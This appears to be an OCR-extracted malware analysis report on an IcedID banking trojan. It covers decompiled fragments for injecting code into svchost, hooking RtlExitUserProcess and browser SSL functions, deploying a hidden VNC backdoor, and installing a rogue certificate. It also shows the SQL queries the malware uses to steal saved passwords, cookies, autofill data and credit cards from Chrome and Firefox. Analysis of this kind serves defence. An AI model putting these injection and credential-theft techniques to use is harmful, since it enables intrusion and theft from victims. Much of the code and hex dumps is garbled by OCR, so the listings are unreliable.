25 /f "[INFO] bot.bc.data.session > socks cmd id=%@.8X key=%@.8x"
26 send_data(al, *(int *)ArglList, ws);

27 return 1;

28 case 5t

29 add_to_logger(l, 2, (int)&info_wnc_cmd, *({ DWORD *)ArgList, w5);

3@ inject_vnc_module_into_new process(dword_leeS5e7e, *(int *)Arglist, ves);//

31 £ "[INFO] bot.bc.data.session > wnc cmd id=%8.8X key=%8.8X"
32 return 1;

33 1

34| 1}

35| return @;

36[}

If the particular command from the CnC is received, the bot will decompress another buffer
that is stored inside the sample and inject it into a new instance of svchost.
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21
22
23
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
48
a1
42
43
a4
a5
a5
a7
43
49
5@
51
52
53

}

memset(&0st, @, @xd4du);
D=t = Bx44;
decode_string(&svchost_enc, &svchost _exe); £ "svchost.exe™
IstrcpyA(&v7, &svchost_exe);
wsprintfA(&vE, (const char *)&unk_18@1A988, dword_18855A88);
v3 = (UCHAR *)CreateProcessA(e, &7, @, @, @, 4, 8, 8, &0st, &ProcessHandle);
if ( w3 )
1
0ldAccessProtection = *(_DWORD *)ArglList;
v3 = inject_wnc_module(ProcessHandle, (ULONG}&0ldAccessProtection);
if ( v3 )
1
add_to_logger(1l, 2, (int)8unk_ 108189A8, *{ DWORD *)ArglList);//
// "[INFO] bot.bc.wnc > inject ok pid=%u"
ResumeThread(vlg);
¥
else
1
v5 = GetlastError();
add_to_logger(4, 2, (int)&unk_1881D11C, v5);// "[ERROR] bot.bc.wnc > inject gle=%u"
TerminateProcess(ProcessHandle, @);
¥
CloseHandle(v1g};
CloseHandle(ProcessHandle);
¥
else
1
vd = GetlLastError();
add_te logger(4, 2, (int)&unk_leelD2Ce, wvi);//
// "[ERROR] bot.bc.wnc > create process gle=¥u"
¥

return v3;

The way in which this injection is implemented reminds us of the older version of the loader.
First, the buffer is decompressed with the help of RtiDecompressBuffer:

1eaasD18 lea eax, [ebptUncompressedBuffersize]
1eaasD1B push eax 3 FinalUncompressedSize
1@88cD1C push 22DF2h ; CompressedBuffersize

1888sD21 push offset CompressedBuffer ; CompressedBuffer
leeesl26 push [ebp+UncompressedBuffersize] ; UncompressedBufferSize

leaasD29 push esi 3 UncomprpssodBofson
18806024 push 2 : Eompresf UCHAR CompressedBuffer
leea6D2C call RtlDecompressBuffer CompressedBuffer db 16h )
18886032 test eax, eax db @8Ch ; L
10006034 jz short loc_100@604D L
db BEBh ; C
db @Beh ; *
db 8
I db 6
1eeeeD36 push esi db 2]
1888eD37 push a db  3&h ;
18886039 call GetProcessHeap db 1ah
1eeesl3F push eax db 3
legasDde call HeapFree

Then, memory is allocated at the preferred address 0x3000.
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- - :
69 egion_size = "(v4 + 3);

76 va[116] = 1

71 base_addr = allocate_wvirtual_mem_at_300@(ProcessHandle, region_size, 4u);
72 base_addr = base_addr;

73 if ( base_addr )

74 i

] is written = write mem({ProcessHandle, base_addr, w4, "(v4 + 3));

76 if ( is written )

77 {

78 protect_mem{ProcessHandle, _base_addr, *(v4 + 3), @x20u, &0ldAccessProtection});
79 is_written = hook_RtExitUserProcess(ProcessHandle, _base_addr);

ge }

B1 }

Some functions from NTDLL and other parameters will be copied to the structure, stored at

the beginning of the shellcode.

24| _args = args;

25| if ( largs }

26 return &;

27| shellcode = unpack _compressed buf();
28| _shellc = shellcode;

29| if ( shellcode )

38| {

31 vs = *_args;

32 *( shellc + 7) = 8;
33 *({ _shellc + B8} = w5;

34 *( shellc + 8) = dword_18855693;

35 wsprintfA{ shellc + @x24, Zunk 1881A988, dword 18855488);

36 *( shellc + 27) = _args[2];

37 *(_shellc + 25) = _args[1];

38 *( shellc + 28B) = _args[3];

39 *( shellc + 26) = B8EQ;

48 ntdll_dl1ll = GetModuleHandleA(aNtdllDll @);

41 *( shellc + 8x75) = GetProcAddress(ntdll dll1l, aldrloaddll};
42 ntdll d112 = GetModuleHandleA(aMtdllDll @);

43 _RtExitUserProcess = GetProcAddress(ntdll d112, aRtlexituserpro);
L2 vl = ¥ shellc + 8x75);

45 vl = shellc - 4294057175; ff121
4B *( shellc + 127} = RtExitUserProcess;

47 V1l = B3

48 V12 = B3

49 if { _shellc != -121 && v9 )

58 Ty

51 do

52 I

53 LB+ = FuOdt;

54 —-v12;:

55 1

56 while [ w12 };

57 }

53 vl3 = *( shellc + 127);

549 vld = shellc - @xFFFFFF7D;
We can see there are some functions that will be used by the shellcode to load another
embedded PE.

Similar to in the old loader, the redirection to the new entry point is implemented via hook set

on the RtlExitUserProcess function:

33/51



1[BOOL

21

3

4| woid

5 woid *_

B

7

8
18| ULONG
11

12 w2

int v2; f/ eax
*RtExitUserProcess; f/ eax

RtExitUserProcess; f/ edi

BOOL result; // eax

int ve; f/f e=i

char Buffer; // [esp+dh] [ebp-Ch]

g int jump dest; /S [esp+Sh] [ebp-Bh]

0ldAccessProtection; // [esptCh] [ebp-4h]

= GetModuleHandleA(aNtd11D11l @) ;

13| RtExitUserProcess = GetProcAddress(v2, aRtlexituserpro);
14| _RtExitUserProcess = RtExitUserProcess;

15| result = protect_mem(ProcessHandle, RtExitUserProcess, 5u, 4u, &01ldAccess

__cdecl hook_RtExitUserProcess(HANDLE ProcessHandle, int targer_func)

16| if ( result )

17 {

18 Buffer = BxEou; /4 IMP

19 jump dest = targer func - RtExitUserProcess - 53

28 v6 = write_mem(ProcessHandle, RtExitUserProcess, &Buffer, Su};
21 protect_mem(ProcessHandle, _RtExitUserProcess, 5u, 0ldAccess

22 result = vb;

23| 3}

24| return result;

25}

After the buffer gets decompressed, we can see another piece of shellcode:

00180CD 5
00180CES
00180CFE
00180005
001800158
00180025
001E0D3E
001800458
00180055
00180D6E
00180078
001800585
00180095
00180DAE
001E0DES
00180DCE

o0 00 OO 00|00 0O OO0 OO(00 OO OO0 00|00 OO OO0 OO0
o0 00 OO 00|00 OO OO0 OO(00 OO OO 00|00 OO OO0 OO0
o0 00 OO OO|00 OO OO0 OO(00 OO OO 00|00 OO OO0 OO0
o0 00 OO 00|00 OO OO0 OO(00 OO OO0 00|00 OO OO0 OO0
o0 00 OO 00|00 OO OO0 OO(00 OO OO 00|00 OO OO0 OO0
00 00 OO Q0|00 OO 00 OOQ(00 OO OO0 0000 OO OO0 OO
o0 00 OO 00|00 OO OO0 OO(00 OO OO0 00|00 OO OO0 OO0
o0 00 OO 00|00 OO OO0 OO(00 OO OO 00|00 OO OO0 00
o0 00 OO 00|00 0O OO0 OO(00 OO OO0 00|00 OO OO0 OO0
00 00 OO 00|00 31 CO 40(90 OF BL &0(0F OO OO 5B
48 B3 ES 05|80 78 74 00|75 05 49 89|01 EB OC 48
59 C1 45 859 |CZ2 4% 89 C0O(4% 89 C1 45|8B C4 aC &9
48 20 4C B9|40 18 48 89|50 10 48 B9(48 0B 55 L3
56 57 41 54|41 55 41 56(41 57 45 8D |68 A8 485 81
EC 18 01 00|00 33 DE 45(8E C1 B89 5C (24 64 48 3E
CA 75 08 4C |BB F1 459 3B(CO 74 03 4D (BE 31 4D B85

i e | 10006002 push eax
1
! & || 10006003 push 2
! # | 10006005 call dword ptr ds:[<&GetProcessHeap:>]
! & | 1L0006D0E push eax
i . & ca word ptr ds: ocateHeap=
100060 0C 11 d d ptr ds:[=SRT1AT1 teH ]
i e 10006012 mov esi,eax
1 # | 10006014 test esi,esi
Vo # || 10006016 ~ | je unpl.1l0006D46
i i # (| 10006018 1ea eax,dword ptr ss:[febp-4]
:: # || L0006D1E push eax
1o #® || 100060 1C push 22DF2
Pl e| 10006021 push unpil.10021F4C
P # (| 10006026 push dword ptr ss:|[ebp-4]
1
[ e | 100060239 push esi
L #| 10006D2A push 2z
:: - call dword ptr ds: [<&RtIDecompressBuifer=]
! ® | 10006032 test 2ax,edx
—_—— je unpl.l000&D4D
[ L | R . =
L]
1
Jump is taken
unpl. 100060 4D
LText: 10006034 unpl.exe: $6D34 #6D34
Weoump1 | @ybump2 | @pump3 | WyDump4 | Wioumps | @ wath1 | k=i
Address | Hex ASCIT
GO0180CEE | ES® EQO OO OO)|0O0 OO OO OO|00 OO0 OO0 O00)3A 1A 03 00 E°..:.......:...
001B8OCCSE (| 3F OF OO 00 |B4 €23 O Q0|00 OO0 OO 00|00 OO0 Q0D 00| 7.. e nnnnnnns

H.B..XT. u I g,
CAHOAT.AI.AHLAL.
H L.@.H.P.H.H.US
VWATAUAVAWH hH.
.. 30H. ALY EdH;
Eu L.AT; At.M. 1M,

Protection};

Protection, &0ldAccessProtection};
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This shellcode is an analogical loader of the headerless PE module. We can see inside the
custom version of PE header that will be used by the loader:

Address

Hex

ASCIT

00181BES
001B1EFSE
00181C08
00181C15
00181C28
00181C38E
001B1C45
00181CE 8
00181C65
001B1CT B

FF DO 8B 44
00 00 10 00
4C 01 00 00
70 01 00 0O
00 20 01 00
04 00 10 00
00 20 00 90
00 00 04 00
00 00 00 04

E5 F1 FE 00O

24
oo
a0
1A
oo
oo

5
oo
o1
oo
32
00

ES
oo
oo
oo
oo
F&

5E
oo
CE&
75
oo
oo

10 01 00 O4
E1 E1 E1 00
o0 00 OO0 00

FA FF
AD 01
OF 00
00 00
75 1A

FF 58
00 80D
o0 05
o0 00
o0 00

L0 oo aC 00
00 00 75 44
12 00 00 75
00 00 00 00
00 78 B7 00

cz2
294
oo
1A
oo
oo

04
oo
oo
oo
32
00

o0
oo
oo
oo
oo
F&

00
BO
oo
o4
oo
oo

54 01

CC E4 FF 0O

header, containing minimal info from the PE header
Dumped shellcode:
469ef3aedd47dc820d9d64a253652d7436abe6abafb64c3722afb1ac83c3a3e

00 00
AD AD AD 00/....

vB.DE\ e, uyyxA, ..

. |The custom

This element is an additional backdoor, deploying on demand a hidden VNC. It is also
referenced by the authors by the name “HDESK bot” (Help Desk bot) because it gives the
attacker direct access to the victim machine, as if it were a help-desk service. Converted to
PE: 2959091ac9e2a544407a2ecc60ba941b

- e

- L
eax, [esp+llCh+var_l@4]

uuuuuuuuuu 1

lea

push offset aCursorUl ; "CURSOR:
push eax

call edi ; wsprintfa

mov esi, ds:TextOutd

add esp, 18h

push eax

lea eax, [esp+llBh+var_l1@4]
push eax

push @ah

push aah

push ebx

call esi ; TextOutld

mov eax, ds:dword 18681188C
push dword ptr [eax+1DCh]
push dword ptr [eax+1DEh]
push dword ptr [eax+1D4h]
lea eax, [espt+l2@h+var_le4]
push offset aF2ZMowvncUF3Repo ;
push eax

call edi ; wsprintfA

add esp, 14h

push eax

lea eax, [esp+llBh+var_l1@4]
push eax

push 1Eh

push aah

push ebx

call esi ; TextOutld

mov eax, ds:dword 18681188C
maw ecx, ehx

push offset aFghind ; "FG WND"
push dword ptr [eax+l1F@h]

F2(MNoVnc):

#u, Fu”

#u,

F3(Repos):

“HDESK bot” deplb_y}s a_hidden VNC to control the victim machine

¥u F4(ReposF)"...

The
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Below, we will analyze the selected features implemented by the core bot. Note that many of
the features are deployed on demand—depending on the command given by the CnC. In the
observed case, the bot was also used as a downloader of the secondary malware, TrickBot.

Installing its own certificate

The malware installs its own certificate. First it drops the generated file into the % TEMP%

folder. Then, the file is loaded and added to the Windows certificate store.

L el L= e 5 =]

18683E8A lea eax, [ebptvar 144]

18289E98 push eax

188991 push dword_1885563C

18889E97 call to_create_custom_certificate

188@89E9C mov esi, eax
188B9EYE add esp, 13h
188A9EAL test esi, esi
18@@9EAS jz short loc 1@@@9EE3
L J
push esi

18@809EAE push dword 18855633
1e@BOEAC call add_cert fro_store
18BB9EEL mov edi, eax
1ARRAFRS non BCY

Fragment of Certificate generation function:

55| CryptAcquireContextW(&v17, Arglist, aMicrosoftEnhan, 1, 16);
56| w17 = @;

57| if ( CryptAcquireContextW(&v17, ArglList, aMicrosoftEnhan, 1, 8) )// 'Microsoft Base Cryptographic Provider v1.8'
58

59 if ( CryptGenkey(vl7, 1, @x4888888, &.13) )

6@ I

61 if ( cert_to_str_name(al, &v22) )

62 I

63 vi4 = al2848113549115; // 1.2.848.113549.1.1.5
64 v27 = Arglist;

85 v25 = 8

66 vI6 = B

67 v28 = aMicrosoftBaseC;

68 29 = 1;

89 38 = 8;

78 1= a;

71 = 8;

72 433 = 1;

73 GetSystemTime(&v35);

74 --y35;

75 GetSystemTime(&v34);

76 V34 4= 23

77 v1o = 8;

78 crypt_encode_object(l, 1, v36);

79 crypt_encode_object @(1, 6, &v36[16 * ++v19]);

fate] ++wl9;

81 V28 = v36;

82 v21l = CertCreateSelfsignCertificate(vl?, &v22, @, &v27, &v24, &v35, &v34, &v19);
83 if ( w2l )

84

85 vd = GetLastError();

86 sub_1880F191(4, 128, (int)Bunk_l@@1C3C@, v9);

87 3

88 }

Calling the function to add the certificate to store:
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il s =

leaadd432 lea eax, [ebptvar_ 4]
18@a3435 push eax
1eaa0436 push 4
1leaa0d438 push [ebptarg_4]
18889438 push [ebptarg_8]
leaas43E call CertaddCertificateContextToStore
la@eoddd test eax, eax
le@a944s jz short loc_leee94sC
‘ " v
Nl e 5= I
18889448 push a8 laeasdsC
1eea944s push 3 1e88945C loc_lees945C:
leaadd44C push 1 18@8945C xor eax, eax
1eaa344E push [ebptarg_@]
18889451 call CertControlStore
18280457 mov eax, [ebptvar_4]
18889454 jmp short loc_1888945E

Stealing passwords from IE

We can see that this bot goes after various saved credentials. Among the different methods
used, we identified stealing data from the Credential Store. The used method is similar to the

one described here.

We can see that it uses the mentioned GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” that

was used to salt the credentials. After reading the credentials from the store, the bot undoes

the salting operation in order to get the plaintext.

vy

il s S

1808FATA

1888FATA loc_l@@eFATA:

1868FATA movsx  ax, byte ptr ie_pass_puid[ecx] ; "abe2B69f-9b47-4cd9-a358-c22984dba
18e@FAB2 shl ax, 2

1888FABE mov word_18e45518[ecx*2], ax

1888FABE inc ECx

108QFABF cmp ecx, 25h

1888FA92 jb short loc_lB@8FATA

'

Stealing saved email credentials

The bot is trying to use every opportunity to extract passwords from the victim machine, also

going after saved email credentials.
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20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
48
41
42
43
44
45
46
47
43
49
5@
51
52
53
54
55
56
57
58
59
&0
61
62
63

if ( sync_server list ) // SyncPassword¥®sMailIncoming
// Syncserver¥sMailIncoming
/! SyncPassword®SMailOutgoing
// Syncserver¥sMailOutgoing

i
1
indx = @;
do
1
decode _string(v3, &v15);
wsprintfW(8v1s, &v15, al);
va = @3
vid = 8&vi6:
w12 = 13
w13 = 73
vE o= 23
vie = 7;
vll = 8&v15;
decode_string(f8unk 1881B2E3, &v15); /! ActiveSyncCredentialDefaultUser
if ( !dword_1@@55698(=21[2], funk 106215F8, &/12, &9, @, @, @, &v2) 28 v )
if ( =1[1] )
sub_1eeerFs7e(z1, aEmail, aMailVault); // mail_wvault
if ( Iva )
1
vd = 1;
sub_1ea88723(*z1, @, 1);
sub_leaesd5e(*z1, aEmail @, =3, -1);
¥
decode_string(*(&pop3_smtp list + indx), &v15);// POP3 Password
!/ POP3 Server
/f SMTP Password
// SMTP Server
sub_18806958(*=1, &v15, *(*(vE + 28) + 20), *(*(vi + 28) + 16) >> 1);
dword_18@55688(v2);
¥
indx = 4 * +4+v5;
v3 = *{&sync_server_list + v5);
¥
while { v3 };
if ( vd )
sub_18818718(*=1);
1
return @;

Stealing cookies

As we observed during the behavioral analysis, the malware drops the sqlite3.dll in the temp
folder. This module is further loaded and used to perform queries to browsers’ databases
with saved cookies.
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14| GetTempPathA(268, &sql_path);

15| lstrcatA(&sql_path, asqlite32D11};

16| if ( load_sql_functions((int)&sql_path) )

18 add_to_logger(l, 4, (int)&sqlite use_internal);// "[INFO] bot.dg.sqlite > use internal™
19 return 1;

28

21| if { !ee_get item from url((int)aSqlite3201l @, &v11, Arglist) )

23 add_to_logger(4, 4, (int)&unk_10@1842C, asSqlite32011_@);// "[ERROR] bot.dg.sglite > download url=%s"
24 return 8;

25 3

26| w2 = write_file((int)&sql path, w11, *{int *)ArglList);

Fragment of code responsible for loading sqlite module
The malware searches the files containing cookies of particular browsers:

le@alE2s
leealE29
laaale2D
1e@alE2E
1e@alE2F
1e@alE31
1e@alEsS
1a@alEsA
1e@alEsE

Mo
lea

push
push
push
lea

push
push
call

|esptledh+var_ 148, eax
eax, [espt+lédhtvar_158]

eax

ebp

1

eax, [esp+l7Bh+var_184]
offset aCookie ; ".cookie”
eax

search_files

We can see the content of the queries after decoding strings:

— i ——

18814587 lea

188145BD push
188145BE push
188145C3 call
188145C8 push
188145CA push
188145CD lea

12814503 push
18814508 push

eax, [ebp+query_content]

eax

offset unk_188105D8 ; "SELECT host, path, isSecure, expiry, name, value FROM moz_cockies'
decode_string

@ ; _DWORD

[ebp+arg_4] ; _DWORD

eax, [ebptquery_content]

offset loc_l@el4caz ; _DWORD

eax ; _DWORD

SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
It targets Firefox, as well as Chrome and Chromium-based browsers:
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browsers_list_chromium dd

dd
dd
dd
dd
dd
dd
dd
dd
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Fragment of the code performing queries:

add_to_logger(4, 4, (int)&unk_1881CED4,

vE = Sqlite30pen(&v17, &v15);
if (ve )
1
b
else
1
vl2 = al;

vl3 = 1;

offset unk_laaiﬂ

unk 18810258
unk_ 1881B89C
unk_1881BF58
unk_1881BC0C
unk_188184A8
unk_1881CF18
unk_1@8@1D3C3
unk_1881B73C
unk 18813518
unk_ 1281BBBS
unk_1881A378

unk_1881C4CC "Go!™

unk_1@881B378 "SputnikiSputnik”
unk_1881AA04 "Kometa"

unk_18819968 "uCozMediaWran"

unk_1881A74C "QIP Surf™

epic_privacy browser ; "Epic Privacy Browser”
unk_ 1881C168 "CocCoc\Browser™”

unk_ 18813464 "CentBrowser”

unk_1881284CC "Istar\7star”

unk_188196D0C "Elements Browser"
unk_1@881C7BC "Suhba"

unk 18818674 "safer Technologies\Secure Browser"
unk_1@@1A043 "RafotechMustang”

unk 18819E28 "Superbird"

unk_ 1881B234 "Chedot”

unk_1881CARS "Torch”

decode_string(&unk_leel1A1E4, &vie);
w7 = Sglite3Exec(vlS5, &v16, collect autofill data, &v12, @);

if (V7))

add_to_logger(4, 4, (int)&unk_léal5lle,

¥

208

DATA XREF: sub 188817BA+8ETr

sub 1888178A+E8Tr
"Google\Chrome Sx5"
"¥pom"
"Yandex\YandexBrowser
"Comodo\Dragon”
"Amigo"

"Orbitum”

"Bromium"

"Chromium™
"Nichrome"
"RockMelt™
"36@8Browser\Browser"
"Vivaldi”

// T"SELECT name, wvalue FROM autofill”™

The list of queries to the Chrome’s database:

The list of

vB)};// "[ERROR] bot.dg.pass.chrome > sqlite open status=¥u"

w7);// "[ERROR] bot.dg.pass.chrome > sqlite exec_1 status=%u"
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SELECT name, value FROM autofill

SELECT guid, company_name, street_address, city, state, zipcode, country_code FROM
autofill profiles

SELECT guid, number FROM autofill profile_phones

SELECT guid, first_name, middle_name, last_name, full_name FROM
autofill_profile_names

SELECT card_number_encrypted, length(card_number_encrypted), name_on_card,
expiration_month || "/" ||expiration_year FROM credit_cards

SELECT origin_url, username_value,length(password_value), password_value FROM logins
WHERE username_value <> ''

SELECT host_key, path, is_secure, (case expires_utc when @ then 0 else (expires_utc /
1000000) - 11644473600 end), name, length(encrypted_value), encrypted_value FROM
cookies

The list of queries to the Firefox’s database:

SELECT host, path, isSecure, expiry, name, value FROM moz_cookies

SELECT fieldname, value FROM moz_formhistory

All the found files are packed into a TAR archive and sent to the CnC.
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2| if ( 'a3 )

21

2z if ( a4 )

23 {

24 v5 = GetProcessHeap(8, 17);

25 w8 = HeapAlloc(vs, w6, v7)};

26 Ve = vB;

27 if { vd )

28 {

20 *(vE + 12) = 4806;

Ll if { query_moz_cookies(a2, v3) )
31

32 vie = vo[1];

33 v1ll = *vo;

34 if { vie )

35 {

36 decode_string(&firefox_cookies_enc, &firefox_cockies_dec);// Firefox/cookies-¥u.txt
37 vlZ = dword_18844E85++;

38 wsprintfA(&src, &firefox_cockies_dec, v12};
39 make tar file{as, &src, vil, vie);
48 }

41

42 if { *vo )

43 {

Lz v1l3 = GetProcessHeap(®, *v3};
45 HeapFree(vl3, wl4, v15);

a6 }

a7 vlEe = GetProcessHeap(®, v9);

48 HeapFree(vl6, v17, v18);

49 }

56 }

510 }

52| return 1;

23| make_temp_path(aTmp, &path_str);

24| vl = to_load_sqlite(azl);

25| _file = CreateFileA(&path_str, exCoooe0ed, @, @, 2, 128, @);
26| file = _file;

27| if ( _file == -1 )

28 return @;

29| search_cookies(_file);
3| if (vl )

3| { |al: int _file; // eax|

32 get folder_path(file};

33 find and pack_mozcookies(file); // find "cookies.sqlite" in "\Mozilla\Firefox\Profiles\"

34 // query: "SELECT host, path, isSecure, expiry, name, value FROM moz_coockies™
33

36| clear_file content(file);
37| if ( open_and_read file @(&path_str, &v28, &/19) &R v10 )

3@ {

39 v13 = aCookieTar; // '"cookie.tar'
48 vlE = lstrlenA(aCookieTar);

41 vid = v28;

42 vl? = v19;

43 vis = 8

44 V1B = 8;

45 w12 = 2583

46 vll = 8;

47 v6 = sub_1@@BAE93(vS, vl, file, &11);
43 if ( v2e )

49

5@ v7 = GetProcessHeap(@, v2@);

51 HeapFree(v7, v&, v3);

52 }

53| }

54| else

55| {

56 VG = @3

57

h
58| DeleteFileA(&path_str);
59 return vG;
6@}

Similarly, it creates a “passff.tar’ archive with stolen Firefox profiles:
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23| w2 = CreatefileA{al, @xCPG88006, B, 6, 2,

24| AF (w2 == -1)

25 return @;

26| db_list = cert9_db_list;

27

28

3 vS = B

32| wvE = B

33| while ( db_list )

34 {

35 decode_string(db list, &5rc);

36 vS |= sub_188@2513(v2, &Src, al);
7 db_list = *(kcertd_db_list + ve++);

o
39| sub_18@165A8(v2);

a0 if ( v5 )
a1 {
42 if ( open_and_read file @(=1, &v11, &v12
43 {
44 v1ls = aPassffTar;
45 16 = lstrlenA(aPassffTar);
46 16 = vii}
47 19 = w123
48 17 = @;
45 i = 'Bj
50 4 = 258;
G = 8;
51 5 = sub_1@@eAE93(v7, v2, v5, Bvl3);
53 if ( vil )
54 i{
55 vE = GetProcessHeap(®, v1l):
56 HeapFree(vB, v9, v18);
57 }
S8 }
59 elze
60 i
3 Vs o= 8
}

DeleteFileA(al);
5 return v5;

Sy e e ]

Hooking browsers

128, @);

Iy
Iy
Iy
Iy
Iy

) 8k

I

cert9.db
cert8.db
key3.db
keyd.db
logins.json

‘passff.tar’

As mentioned earlier, the malware attacks and hooks browsers. Since the analogical
functionality is achieved by different functions within different browsers, a set of installed

hooks may be unique for each.

First, the malware searches for targets among the running processes. It uses the following

algorithm:
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13

15

15

19

28

21

22

23 // calc_checksum
25 _char, 3);

26

27

28

29

38| }

31| name_checksum = &loc_10887834 ~ checks;

32| if ( name_checksum != @xEECBBSF ) [/ firefox.exe
33| {

34 switch ( name_checksum }

35 {

36 case @xFE7FE7Bu:

37 return 4;

38 case @xC35A58A5:

39 return 3;

4 case @xEA34228F:

41 return 1;

42 1

43 if (vs == "c" )

45 if { fn[1] == "h' && fn[2] == 'r' && fn[3] == 'o' && n[4] == 'm" && fn[5] == 'e" })// "chrome”
46 return 1;

47 return @;

48 1

49 if (vs = "f" || fn[1] != "i" || fn[2] != 'r* || fn[3] != ‘e’ || fn[4] != "f" || fn[5] != "o || fn[6] != 'x' )// “firefox"
=1 return @;

51| }

52| return 2;

53}

It is similar to the one from the previous version (described here), yet we can see a few
changes, i.e. the checksums are modified, and some additional checks are added. Yet, the
list of the attacked browsers is the same, including the most popular ones: Firefox, MS Edge,
Internet Explorer, and Chrome.

The browsers are first infected with the dedicated IcedID module. Just like all the modules in
this edition of IcedID, the browser implant is a headerless PE file. Its reconstructed version is
available here:
9e0c27746¢c11866c61dec17f1edfd2693245cd257dc0de2478c956b594bb2eb3.

After being injected, this module finds the appropriate DLLs in the memory of the process
and sets redirections to its own code:

s
@82C1855 push offset dword_2C4838

@B@2C135A push offset sub_2C2219

B@2C135F push 7BALB9DER

@a2C1364 mov esi, offset aWs232011 @ ; "ws2 32.d11"
@a2C1869 push esi

Be2C186A call hook module

@a2C186F cmp eax, BFFFFFFFFh

Parsing the instructions and installing the hooks:
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;higned int _ cdecl write jmp_hook( BYTE *ptr, BYTE *ptr2

2

3| char _ptr; //

4| _BYTE *val; //

5| int dest_addr; //

6| signed int instruction_size; //

é = * R

ol if ( * I= BxEBu ) // SHORT JMP
18| {

11 if ( == @xESu || == @xEQu ) // CALL || amp
12 {

13 * = H

14 *( _DWORD *}( + 1} = &ptr[*{ DWORD *}( + 1} - (_DWORD) 13// get jump address
15 return 5;

16 }

17 return @;

19| if [2] != @x9@u || [3] != @x9@u || [4] != @x98Bu )// NOP
26 return 8;
21| * = BxESu; Sl IMP
22 = &ptr[{unsigned _ int3) [1] - (_DWORD) 1:
23| if | [1] <= @x7Fu )
24 = (int)(val - 3);
25| else

26 = (int)(val + @xFFFFFEFD);

27 = 5;

28| *(_DWORD *)( + 1) = ;

29| return H

30(}

Then, the selected API functions are intercepted and redirected to the plugin. Usually the
hooks are installed at the beginning of functions, but there are exceptions to this rule. For
example, in case of Internet Explorer, a function within the mswsock.dll has been intercepted
in between:

Hex Disasm

Looking at the elements in memory involved in intercepting the calls: the browser implant
(headerless PE), and the additional memory page:
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t firefox.exe (832) Properties

| General I Statistics I Performance I Threads | Token | Modules | Memory | Environment | Handles | Comment

Hide free regions

Base address

» Ox 130000

» O 2b0000

A Q20000
Qx2c0000
Ox2c1000
0x2c3000

» Ox2d0000

» Ox2e0000

4 (x320000
0320000

» 0x 330000

Type Size  Protect... Use
Private 1536 kE RW Sta...
Private 4kB RW

Private 24kB RW

Private: Commit 4kBE RW

Private: Commit 3kB RX

Private: Commit 12kBE RW

Private 4kB RW

Private 256 kB RW He...
Private 4kB RWX

Private: Commit 4kBE RWX

Mapped 3kB R

Example of the hook in Firefox:

Step 1: the function SSL_AuthCertificateHook has a jump redirecting to the implanted

module:

Total WS

16 kB
4kB
24 kB
4kB
8kB
12kB
4kB
4kB
4kB
4kE
4kB

Private WS

16 kB
4kB
24 kB
4kB
8kB
12kB
4kB
4kB
4kB
4kE

E7TAFEGD
&7 7AFBGS

sple e e ey R R R e e

o

o~

ES SDz26B1958
DBES

75 A9

0000

B3C4 04

55C0

74 16

BESS OC

BE4D 10

8990 CCOOO0000
5388 DOOOOOODOD

T3imp zCzzoz

ar al,ch

jne nss3.677AFB12

add byte ptr
add esp,4
test eax,eax
je nss3.677AF
mov edx,dword
mov ecx,dword
mov dword ptr
mov dword ptr

ds: [eax],al

EBE
ptr ss:|jebp+Cj)
ptr ss:|jebp+10{
ds: [eax+CC] ,edx
ds: [eax+D0] ,2CX

SSL_.ﬂ;ut hZertif 1'-:: ateHook

31C0 Xor eax,edx
B8 LD pop ebp
E7 FAFBES7 C3 ret

Step 2: The implanted module calls the code from the additional page with appropriate

parameters:

{}62[220 ; FF7424 0OC ; push dword p'l:rl ss:[esp+C] ; ;
&8 GF1EB2C00 push 2C1B&F
FF7424 0OC push dword ptr ss:|lesp+Cj)
FF15 4C402C00 | gall dword ptr ds:[2C404C]
83C4 0C add esp,C

Step 3: The code at the additional page is a patched fragment of the original function. After

c3

ret

executing the modified code, it goes back to the original DLL.
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00320024 L&
00320025 B9ES
00320027 FF75 08
00220024 90
D0Z22002E 20
00322002C a0
00320020 a0
0032002E S0
00322002F a0
003220030 20
00320031 a0
00220032 90
00220033 20
003220034 a0
00320035 a0
00320036 S0
003220037 a0
003220038 20
00320039 a0
0022003A 90
D0Z2003E 20
00322003C a0
003220030 a0
0032003E S0
00322003F a0
003220040 20
00320041 30
00320042 ~ E9 1FFB4B&7

The functionality of this hook didn’t change from the previous version.

Webinjects

push ebp
mov ebp,esp
push dword ptr ss:[febp+:]
nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

Jmp nss3.677AFBGE

The bot gets the configuration from the CnC in the form of .DAT files that were mentioned
before. First, the file is decoded by RC4 algorithm. The output must start from the “zeus”
keyword, and is further encoded by a custom algorithm. Scripts dedicated for each site are

identified by a script ID.
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31

After the files are loaded and decoded, we can see the content:

unsigned int _ cdecl decode reus _config{ BYTE *lin_data, unsigned int in_data_size, BYTE *out_buf)

{

b

unsigned int result; // eax
unsigned int w4; // eax
int v5; // eax

int v6; S/ eax

int v7; J/ STeE_4

int wv8; // STBC_4

int buf; f/ eax

int _buf; // edi

int v1l; f/ eax

int wl2; ff 5Tes 4

int v13; f/ sTecC_4

unsigned int decoded_size; // [esp+4h] [ebp-4h]

if { in_data_size < B )
return 8;
if ( *in_data != 'suez' )
return @;
vd = *(in_data + 1);
decoded_size = vid;
in_data_size -= B;
vh o= wvd 4+ 1;
if ( vs )
1
vG = GetProcessHeap(8, vS + 1);
buf = HeapAlloc(ve, v7, v8);
_buf = buf;
if { buf )

if ( decode_config(in_data + 8, &in_data_size, buf, &decoded_size) )

1
result = decoded_size;
if ( decoded_size »= B )

*out_buf = _buf;
return result;
1
h

vll = GetProcessHeap(®, _buf};
HeapFree(vll, w12, w13};

}
}

return @;
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24 Dump 1

Ly Dump 2

Ly Dump 3

Wy Dump 4

W4y Dump 5 | % watch 1 | [x=] Loc

Address

Hex

ASCII

0Z0F0030
020F0040
020F0050
0Z20F006&0D
020F007 0
020F0080
020F0090
020F00AD
0Z0F00BD
020F00CD
020F00D 0
0Z0FOOED
020FDOFD
0Z20F0100
020F0110
020F0120
0Z0FO130
020F0140
020F0L50
0Z0FO160
020F017 0
0Z20FO180D
020F0190

01
EF
oD
64
63
63
31
44
66
77
|
34
36
3z
5F
32
3z
29
ZE
20
72
&F
33

o0
40
oA
79
74
34
5B
73
73
35
5F
E1S)
31
30
30
37
66
29
2B
78
20
6E
&4

00
ap
3C
53
]
66
77
47
